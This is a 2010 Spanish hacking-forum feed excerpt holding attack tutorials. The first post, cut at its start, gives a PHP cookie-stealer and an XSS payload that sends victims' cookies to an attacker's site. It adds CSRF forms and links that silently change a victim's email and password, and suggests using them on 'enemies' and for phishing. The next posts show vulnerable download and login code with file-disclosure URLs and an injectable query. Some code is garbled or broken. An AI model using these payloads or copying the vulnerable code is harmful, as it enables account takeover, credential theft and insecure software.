<span class="sy1">?&gt;</span></pre><br /><br /><br />PD: Este code no es mio es de Chebyte. Pero esto es basico...<br /><br />Bueno, le explicare el code para quienes no lo entiendan:<br /><br />$cookie = $_REQUEST[cookie] : El que recibe la cookie<br />$file=fopen(&quot;cookies.txt&quot;, &quot;a&quot;) : Crea el archivo cookies.txt para lectura<br />fput($file, &quot;$cookie\n&quot;) : Muestra la cookie<br />fclose($file) : Cierra<br /><br />Podriamos guardarlo &quot;robador.php&quot; y ahora faltaria el code que redireccione a este CODE:<br /><br /><pre class="bbcode">&lt;script&gt;self.location=`e);&quot;target=&quot; _blank&quot;&gt;http://TuWeb.com/robador.php?c=`+scape(document.cookie)&lt;/script&gt;</pre><br />Y Tachan! tienes la cookie...<br /><br />Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:<br /><br />1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking<br />2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..<br />3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona<br />4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP<br />5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]<br />5. SCRIPT KIDDIE: Hacking MSN -.-&quot;<br /><br />Ahora pasaremos a hablar del CSRF clasico:<br /><br />- XSRF/CSRF Clasico<br /><br />Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.<br /><br />Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):<br /><br /><br /><pre class="javascript bbcode_geshi"><div class="head">Language: Javascript</div>&lt;form action=&quot;formulario&quot; action=&quot;http://victima.com/perfil.php&quot; method=&quot;POST&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;tuemail@hotmail.com&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;passwirdl&quot; value=&quot;minuevopassword&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;submit&quot; value=&quot;enviar&quot;&gt;
&lt;script&gt;document.submit();&lt;/script&gt;</pre><br /><br /><br />Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input &quot;name=NOMBRE&quot; del site. La victima no sabe que le hemos cambiado el email...<br /><br />Tambien si al cambiar datos salga un link como este:<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&amp;mail=minuevomail@hotmail.com&amp;pass=minuevopass</div></blockquote><br />Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:<br /><br />Man vota por mi <pre class="bbcode"><a href="http://www.web.com/perfil.php?mail=EMAIL_DEL_ATACANTE_BUAJAJA@hotmail.com&amp;pass=PasSCambiadoBuajaja" target="_blank" rel="nofollow" >AQUI</a></pre><br />Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..<br /><br />Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...<br /><br /><br /><br /><span style="color:red"><b>5.)Testeando vulnerabilidad CSRF y programas el code vulnerable</b></span><br /><br />Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una<br />Imagen, daré un breve ejemplo:<br /><br />Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito<br />Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:<br /><br />Por ejemplo usando una imagen src.<br />&lt;img src=&quot;http://Www.xD.com/?Comando&quot;&gt;<br /><br />Script<br />&lt;script src=&quot;http://Www.xD.com/?Comando&quot;&gt;<br /><br />Casi siempre se usan los IFRAME<br /><br />&lt;iframe src=&quot;http://Www.xD.com/?Comando&quot;&gt;<br /><br />Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript<br /><br />&lt;script&gt;<br />var foo = new Image(); var foo = new Image ();<br />foo.src = &quot;http://Www.xD.com/?Comando&quot;;&lt;/script&gt;<br /><br />También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen<br />Realizar peticiones REMOTAS.<br /><span style="color:red"><b><br />¿Cambiando datos de la victima? </b></span><br /><br />Bueno este breve codigo es solo un pequeño ejemplo:<br /><br />&lt;script&gt;<br />var post_data = `name=value`; post_data var = `nombre = valor`;<br />var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();<br />xmlhttp.open(&quot;POST&quot;, `http://www.xD.com/path/file.ext`, true); xmlhttp.open ( &quot;POST&quot;, &quot;http://www.xD.com/path/file.ext `, true);<br />xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (<br />if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)<br />{ (<br />alert(xmlhttp.responseText); alert (xmlhttp.responseText);<br />} )<br />}; );<br />xmlhttp.send(post_data); xmlhttp.send (post_data);<br />&lt;/script&gt; &lt;/ script&gt;<br /><br />Como podemos ver en este código hacemos una petición a POST<br />Acuérdense que arriba les comente que cuando el atacante usa un código<br />Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...<br /><br /><span style="color:red"><b>¿A dónde se dirige esta petición?</b></span><br /><br />Bueno esta petición se dirige a la base de datos del sitio me explico<br />Cada vez que hacemos cambios extremos en nuestro perfil todo pasa<br />Por una base de datos bueno cuando la victima le da clic a la url enviada<br />Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta<br />De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?<br /><br /><span style="color:red"><b>7.) Sacando una conclusión a todo.</b></span><br /><br />Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.<br /><br />Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.<br />Haciendo una petición en la base de datos del código del atacante…<br /><span style="color:red"><b><br />8.) Como cuidar nuestra Web de este tipo de ataques</b></span><br /><br />Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga<br />‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina <a href="http://foros.hackerss.com/lofiversion/index.php/t8392.html" target="_blank" rel="nofollow" >De aquí </a><br /><br />Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <b>&lt;?php…</b><br /><pre class="bbcode">
&lt;form method=&quot;POST&quot; action=&quot;datos.php&quot; name=&quot;datos&quot;&gt;
          Usuario &lt;input type=&quot;text&quot; name=&quot;usuario&quot;&gt;
          Email &lt;input type=&quot;text&quot; name=&quot;email&quot;&gt;
          Contraseña &lt;input type=&quot;text&quot; name=&quot;contraseña&quot;&gt;
          Email alternativo: &lt;input type=&quot;text&quot; name=&quot;emailalternativo&quot;&gt;
      Contraseña Actual: &lt;input type=&quot;text&quot; name=&quot;actualcontraseña&quot;&gt;
         &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;cambiardatos&quot;&gt;
     &lt;/form&gt;</pre><br />Luego buscamos el archive que se llama Config.php lo pueden encontrar<br />Por el mismo FTP y le agregamos lo siguiente:<br /><br /><pre class="bbcode">&lt;?php

$bd_host = &quot;localhost&quot;;
$bd_usuario = &quot;user&quot;;
$bd_password = &quot;pass&quot;;
$bd_base = &quot;bd&quot;;

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?&gt;</pre><br />En el archive datos.php usaremos lo siguiente:<br /><br /><pre class="bbcode">&lt;?

include(`config.php`);

     session_start();
     if(isset($_REQUEST[`usuario`]))
          $usuario = $_REQUEST[`usuario`];
     else
          die(&quot;Rellene el campo Usuario&quot;);
     if(isset($_REQUEST[`email`]))
          $email = $_REQUEST[`email];
     else 
          die(&quot;Rellene el campo email&quot;);
     if(isset($_REQUEST[`contraseña`]))
          $contraseña = $_REQUEST[`contraseña];
     else 
          die(&quot;Rellene el campo Contraseña&quot;);
     if(isset($_REQUEST[`emailalternativo`]))
          $emailalternativo = $_REQUEST[`emailalternativo];
     else 
          die(&quot;Falta el email alternativo&quot;);
    if(isset($_REQUEST[`actualcontraseña`]))
          $actualcontraseña = $_REQUEST[`actualcontraseña];
     else 
          die(&quot;Especifique la contraseña&quot;);

if ($actualcontraseña==NULL) {
echo &quot;Especifique su contraseña Actual&quot;;

}else{

$query = mysql_query(&quot;SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = `$usuario`&quot;) or die(mysql_error());
$data = mysql_fetch_array($query);
if($data[`contraseñaa`] != $actualcontraseña) {
echo &quot;Contraseña Actual Inavalida&quot;;
}else{

    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
     
     ?&gt;</pre><br />Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin<br />Y le damos donde dice Consulta y introducen el siguiente código:<br /><pre class="bbcode">
CREATE TABLE `myhosting_usuarios` (
  `id` int(11) NOT NULL auto_increment,
  `usuario` varchar(15) NOT NULL,
  `email` varchar(15) NOT NULL,
  `emailalternativo` varchar(15) NOT NULL,
  `contraseña` varchar(150) NOT NULL,
  `contraseñaa` varchar(150) NOT NULL,
  KEY `id` (`id`)
) ENGINE=MyISAM;

INSERT INTO `myhosting_usuarios` VALUES (1, `SecurityKill`, `mymail@gmail.com`, `mymail2@gmail.com`, `mypass`, `mypass`);</pre><br /><br />9.) Despedida<br /><br />Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron<br />Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación<br />Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran<br />Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei<br />Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos<br />Puesto en algunos la fuente les deseo un gran fin de semana…<br /><br />No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que<br />Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…<br /><br />Group’s Ethical.<br /><br />Zero Bits<br />KuTer<br />Jeferx<br />Darki113r<br />_84kur10_<br />ShadinessDark<br /><br />Mi team V1rtu@l VIRu$ Bl@ck Team]]></description>
<dc:creator>Zero_Bits</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Fri, 12 Feb 2010 16:32:10 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6260,6260#msg-6260</guid>
<title>Explotar Source Code Discloure (5 replies)</title><link>https://foro.undersecurity.net/read.php?15,6260,6260#msg-6260</link><description><![CDATA[<span style="color:#FF0033">Explotar Source Code Discloure</span><br /><br /><br /><br /><span style="color:#FFFF33">Autor:El Gran Guasón</span><br /><br /><br /><br /><br />Indice:<br /><br /><br /><br />0x01:Introducción<br />0x02:Ejemplo de aplicacion vulnerable<br />0x03:Como atacar<br />0x04:Despedida<br /><br /><br /><br /><br />0x01:Introducción<br /><br /><br />Hola hoy les voy a explicar la vulnerabilidad conocida como Source Code Discloure algo olvidada<br />o deconocida para algunos.Con esta se logran leer o descargar archivos del directorio tales como<br />archivos php o archivos de texto , todo depende de la imaginacion.<br />Pero en este manual la aplicacion vulnerable sera un descargador de archivos.<br /><br /><br /><br />0x02:Ejemplo de aplicacion vulnerable<br /><br />Entonces mi ejemplo de aplicacion vulnerable sera una pagina que descargar archivos como dije<br />anteriormente. Asi que aca tiene el codigo en php<br /><br /><br /><br /><br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div>============================descarga.php===================================================
&nbsp;
<span class="kw2">&lt;?php</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st_h">'descargar'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
<span class="re0">$ar</span><span class="sy0">=</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st_h">'descargar'</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ar</span> <span class="sy0">==</span> <span class="st0">&quot; &quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="kw1">echo</span> <span class="st0">&quot;&lt;h2&gt;Debes seleccionar un archivo&lt;/h2&gt;&quot;</span><span class="sy0">;</span><span class="br0">&#125;</span>
<a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Pragma: public&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Expires: 0&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-type: aplication/octet-stream&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-disposition: attachment; filename=<span class="es4">$ar</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-Length:&quot;</span><span class="sy0">.</span><a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es4">$ar</span>&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es4">$filename</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span>
 <span class="kw1">echo</span> <span class="st0">&quot;&lt;h2&gt;Debes seleccionar un archivo&lt;/h2&gt;&quot;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="sy1">?&gt;</span>
==============================================================================================</pre><br /><br />Ok , la parte vulnerable seria que descarga.php no deja descargar archivos del servidor pero<br />alguien con pensamientos maleficos se le ocurriria descargar archivos php o txt, convirtiendo a<br />esto en una tecnica peligrosa.<br /><br /><br />0x03:Como atacar<br /><br /><br />La forma de atacar es unica pues si saben algo de php se datan cuenta de que la forma de atacar<br />es asi.<br />Yo tengo el archivo descarga.php en mi servidor web local asi que veran 127.0.0.1<br /><br /><pre class="bbcode">
http://127.0.0.1/descarga.php?descargar=</pre><br /><br /><br />El administrador usualmente pone links para esto que luego llaman a esa url y descargue el nombre del<br />archivo seleccionado pero con solo esa url mencionada podemos descargar lo que se no de la gana.<br /><br />Ejemplos<br /><br /><br />Con esto descargamos el index.php<br /><br /><pre class="bbcode">
http://127.0.0.1/descarga.php?descargar=index.php</pre><br /><br />Con esto algun archivo de texto<br /><br /><br /><pre class="bbcode">
htttp://127.0.0.1/descarga.php?descargar=/datos/contraseñas.txt</pre><br /><br /><br />Todo depende de la imaginacion.<br /><br />Eso si algunas paginas cuando se quiere descargar una pagina con php solo te van a tirar el codigo<br />html lo que es lamentable pero en realidad es solo buscar paginas vulnerables que nos dejen descargar<br />todo los phps con su codigo real. Ya que en los php , especialmente en los login.php o admin.php , la<br />mayoria de estos suelen tener datos de la base de datos y sus contraseñas.<br /><br /><br />0x04:Despedida<br /><br />Espero que les haya gustado mi corto manual sino ,no lo lean y tirense de un piso 40 xD<br /><br />Fuente = elgranguason.wordpress.com<br /><br />Bye]]></description>
<dc:creator>Guason</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Thu, 04 Mar 2010 18:36:39 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6259,6259#msg-6259</guid>
<title>Explotar vulnerabilidad By Pass (no replies)</title><link>https://foro.undersecurity.net/read.php?15,6259,6259#msg-6259</link><description><![CDATA[<span style="color:#FF3300">Explotar vulnerabilidad By Pass</span><br /><br /><br /><span style="color:#3300FF">Autor:El Gran Guasón</span><br /><br /><br />Indice:<br /><br /><br />0x01:Introducción<br />0x02:Ejemplo de login vulnerable<br />0x03:Formas de atacar<br />0x04:Despedida<br /><br />0x01:Introducción<br /><br />Hola a cualquiera que lea esto.Antes de empezar hay que aclarar que sobre &quot;by pass&quot; no hay mucha<br />informacion por eso esto va a ser corto.Tambien cuando yo empece , ya hace mucho....... no habia<br />ningun manual para esto solo la inyeccion.Ademas cada vez que preguntaba nadie me contestaba o<br />decian cualquier cosa para llenar el tema.<br />Asi que aca vamos..............<br /><br /><br />0x02:Ejemplo de login vulnerable<br /><br />Antes de empezar necesitas tener instalado algun software para tener un servidor web en<br />tu computadora. Eso si , que tambien tenga mysql y php.<br />Yo recomiendo Easy PHP pero como en este momento ya no encuentro un link. Les dejo<br />AppServer<br /><br />http://www.appservnetwork.com/index.php?newlang=spanish<br /><br />Los archivos para la web deben ir en C:\Appserv\www<br /><br />Entonces a programar se ha dicho.<br /><br /><br /><br />Antes que tienes que crear la base de datos , primero van a<br /><br />Inicio - Todos los programas - Appserv - MySQL Command Line Client<br /><br />Ejecutamos el MySQL Command Line Client y escribimos la contraseña.<br /><br />Ejecuta los siguientes comandos.<br /><br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div><span class="kw1">CREATE</span> <span class="kw1">TABLE</span> <span class="st0">`users`</span> <span class="br0">&#40;</span><span class="st0">`id`</span> int<span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span> <span class="kw1">UNSIGNED</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span> 
<span class="kw1">AUTO_INCREMENT</span><span class="sy0">,</span><span class="st0">`name`</span> varchar<span class="br0">&#40;</span><span class="nu0">50</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span><span class="sy0">,</span><span class="st0">`password`</span> varchar<span class="br0">&#40;</span><span class="nu0">50</span><span class="br0">&#41;</span> 
<span class="kw1">NOT</span> <span class="kw1">NULL</span><span class="sy0">,</span><span class="kw1">PRIMARY</span> <span class="kw1">KEY</span> <span class="br0">&#40;</span><span class="st0">`id`</span><span class="br0">&#41;</span><span class="br0">&#41;</span> ENGINE<span class="sy0">=</span>MyISAM 
<span class="kw1">AUTO_INCREMENT</span><span class="sy0">=</span><span class="nu0">2</span> <span class="kw1">DEFAULT</span> CHARSET<span class="sy0">=</span>latin1 
<span class="kw1">AUTO_INCREMENT</span><span class="sy0">=</span><span class="nu0">2</span> ; 
&nbsp;
&nbsp;
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`users`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">1</span><span class="sy0">,</span> <span class="st0">'admin'</span><span class="sy0">,</span><span class="st0">'123'</span><span class="br0">&#41;</span>;</pre><br /><br /><br />Esto va ser el formulario en html con las cajas de texto para usuario y password<br />Cuando presiones el boton se llevara los datos de user y pass al archivo abrir.php<br /><br /><pre class="html4strict bbcode_geshi"><div class="head">Language: HTML</div>******************************************enter.htm*****************************************************************
<span class="sc2">&lt;<a href="http://december.com/html/4/element/title.html"><span class="kw2">title</span></a>&gt;</span>LOGIN PASS<span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/title.html"><span class="kw2">title</span></a>&gt;</span>
<span class="sc2">&lt;<a href="http://december.com/html/4/element/h1.html"><span class="kw2">h1</span></a>&gt;</span>INSERTA USER Y PASSWORD<span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/h1.html"><span class="kw2">h1</span></a>&gt;</span>
&nbsp;
&nbsp;
&nbsp;
      <span class="sc2">&lt;<a href="http://december.com/html/4/element/form.html"><span class="kw2">form</span></a> <span class="kw3">action</span><span class="sy0">=</span><span class="st0">&quot;abrir.php&quot;</span> <span class="kw3">method</span><span class="sy0">=</span><span class="st0">&quot;post&quot;</span>&gt;</span>
&nbsp;
      Usuario:<span class="sc2">&lt;<a href="http://december.com/html/4/element/input.html"><span class="kw2">input</span></a> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">&quot;text&quot;</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">&quot;usuario&quot;</span> <span class="kw3">size</span><span class="sy0">=</span><span class="st0">&quot;20&quot;</span> <span class="kw3">maxlength</span><span class="sy0">=</span><span class="st0">&quot;20&quot;</span> <span class="sy0">/</span>&gt;</span>
&nbsp;
      <span class="sc2">&lt;<a href="http://december.com/html/4/element/br.html"><span class="kw2">br</span></a> <span class="sy0">/</span>&gt;</span>
&nbsp;
      Password:<span class="sc2">&lt;<a href="http://december.com/html/4/element/input.html"><span class="kw2">input</span></a> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">&quot;password&quot;</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">&quot;password&quot;</span> <span class="kw3">size</span><span class="sy0">=</span><span class="st0">&quot;10&quot;</span> <span class="kw3">maxlength</span><span class="sy0">=</span><span class="st0">&quot;10&quot;</span> <span class="sy0">/</span>&gt;</span>
&nbsp;
      <span class="sc2">&lt;<a href="http://december.com/html/4/element/br.html"><span class="kw2">br</span></a> <span class="sy0">/</span>&gt;</span>
&nbsp;
      <span class="sc2">&lt;<a href="http://december.com/html/4/element/input.html"><span class="kw2">input</span></a> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">&quot;submit&quot;</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">&quot;Ingresar&quot;</span> <span class="sy0">/</span>&gt;</span>
&nbsp;
      <span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/form.html"><span class="kw2">form</span></a>&gt;</span>
&nbsp;
****************************************************************************************************************************</pre><br />OK, ya ejecutado correctamente los comandos en la consola y creado el archivo html.<br />Vamos a crear abrir.php , eso si cambien los datos localhost, root,test por los datos de<br />su base de datos.<br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div>**********************************************abrir.php********************************************************************
&nbsp;
&nbsp;
&nbsp;
&nbsp;
<span class="kw2">&lt;?php</span>
&nbsp;
      <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st_h">'localhost'</span><span class="sy0">,</span><span class="st_h">'root'</span><span class="br0">&#41;</span>or <a href="http://www.php.net/die"><span class="kw3">die</span></a> <span class="br0">&#40;</span><span class="st_h">'Ha fallado la conexi&amp;oacute;n: '</span><span class="sy0">.</span><a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
      <a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st_h">'test'</span><span class="br0">&#41;</span>or <a href="http://www.php.net/die"><span class="kw3">die</span></a> <span class="br0">&#40;</span><span class="st_h">'Error al seleccionar la Base de Datos: '</span><span class="sy0">.</span><a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
      <span class="kw2">function</span> quitar<span class="br0">&#40;</span><span class="re0">$mensaje</span><span class="br0">&#41;</span>
&nbsp;
      <span class="br0">&#123;</span>
          <span class="re0">$nopermitidos</span> <span class="sy0">=</span> <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="st0">&quot;'&quot;</span><span class="sy0">,</span><span class="st_h">'\\'</span><span class="sy0">,</span><span class="st_h">'&lt;'</span><span class="sy0">,</span><span class="st_h">'&gt;'</span><span class="sy0">,</span><span class="st0">&quot;<span class="es1">\&quot;</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
      <span class="re0">$mensaje</span> <span class="sy0">=</span> <a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="re0">$nopermitidos</span><span class="sy0">,</span> <span class="st0">&quot;&quot;</span><span class="sy0">,</span> <span class="re0">$mensaje</span><span class="br0">&#41;</span><span class="sy0">;</span>
    <span class="kw1">return</span> <span class="re0">$mensaje</span><span class="sy0">;</span>
&nbsp;
      <span class="br0">&#125;</span>
 <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$HTTP_POST_VARS</span><span class="br0">&#91;</span><span class="st0">&quot;usuario&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">!=</span> <span class="st0">&quot;&quot;</span> <span class="sy0">&amp;&amp;</span> <a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$HTTP_POST_VARS</span><span class="br0">&#91;</span><span class="st0">&quot;password&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">!=</span> <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>
      <span class="br0">&#123;</span>
          <span class="re0">$usuario</span> <span class="sy0">=</span> <a href="http://www.php.net/strtolower"><span class="kw3">strtolower</span></a><span class="br0">&#40;</span><a href="http://www.php.net/htmlentities"><span class="kw3">htmlentities</span></a><span class="br0">&#40;</span><span class="re0">$HTTP_POST_VARS</span><span class="br0">&#91;</span><span class="st0">&quot;usuario&quot;</span><span class="br0">&#93;</span><span class="sy0">,</span> <span class="kw4">ENT_QUOTES</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
      <span class="re0">$password</span> <span class="sy0">=</span> <span class="re0">$HTTP_POST_VARS</span><span class="br0">&#91;</span><span class="st0">&quot;password&quot;</span><span class="br0">&#93;</span><span class="sy0">;</span>
&nbsp;
                   <span class="re0">$result</span> <span class="sy0">=</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT name,password FROM users WHERE name='<span class="es4">$usuario</span>' AND password='<span class="es4">$password</span>' &quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
          <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$row</span> <span class="sy0">=</span> <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$result</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
&nbsp;
              <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">&quot;password&quot;</span><span class="br0">&#93;</span> <span class="sy0">==</span> <span class="re0">$password</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
&nbsp;
                  <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&quot;k_username&quot;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re0">$row</span><span class="br0">&#91;</span><span class="st_h">'usuario'</span><span class="br0">&#93;</span><span class="sy0">;</span>
&nbsp;
                  <span class="kw1">echo</span> <span class="st_h">'Has sido logueado correctamente '</span><span class="sy0">.</span><span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st_h">'k_username'</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st_h">' &lt;p&gt;'</span><span class="sy0">;</span>
&nbsp;
                  <span class="coMULTI">/*Ingreso exitoso, ahora sera dirigido a la pagina principal.
                  &lt;SCRIPT LANGUAGE=&quot;javascript&quot;&gt;
                  location.href = &quot;index.php&quot;;
                    &lt;/SCRIPT&gt;*/</span>
              <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
                 <span class="kw1">echo</span> <span class="st_h">'Password incorrecto'</span><span class="sy0">;</span>
              <span class="br0">&#125;</span>
      <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
             <span class="kw1">echo</span> <span class="st_h">'Usuario no existente en la base de datos'</span><span class="sy0">;</span>
          <span class="br0">&#125;</span>
          <a href="http://www.php.net/mysql_free_result"><span class="kw3">mysql_free_result</span></a><span class="br0">&#40;</span><span class="re0">$result</span><span class="br0">&#41;</span><span class="sy0">;</span>
      <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
          <span class="kw1">echo</span> <span class="st_h">'Debe especificar un usuario y password'</span><span class="sy0">;</span>
&nbsp;
      <span class="br0">&#125;</span>
      <a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="sy1">?&gt;</span>
&nbsp;
